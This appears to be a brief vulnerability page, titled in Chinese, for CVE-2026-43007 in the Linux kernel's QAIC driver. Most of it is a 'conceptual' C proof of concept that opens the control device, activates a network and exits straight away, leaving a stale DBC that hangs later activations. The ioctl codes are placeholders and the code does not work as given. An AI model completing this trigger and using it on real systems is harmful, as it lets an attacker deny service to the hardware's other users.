CVE-2026-43007: Linux Kernel DBC停用处理漏洞

// Conceptual PoC for CVE-2026-43007 // This PoC demonstrates the race condition where a user exits // before the DBC deactivation is handled. #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Placeholder for actual ioctl codes and definitions #define QAIC_MANAGE_IOCTL 0xABC #define QAIC_ACTIVATE_NETWORK 0x1 int main() { // Step 1: Open the QAIC control device int fd = open("/dev/qaic_control", O_RDWR); if (fd < 0) { return -1; } // Step 2: Activate a network/DBC to allocate resources ioctl(fd, QAIC_ACTIVATE_NETWORK, NULL); // Step 3: Exit immediately without waiting for deactivation handling // This simulates the "owner went away" scenario described in the CVE. // The kernel may not have processed the QAIC_TRANS_DEACTIVATE_FROM_DEV // transaction yet, leaving the DBC resource in a stale state (in_use = true). close(fd); return 0; } // To observe the hang, a subsequent process would need to attempt // to activate a network that results in the device assigning the same DBC ID.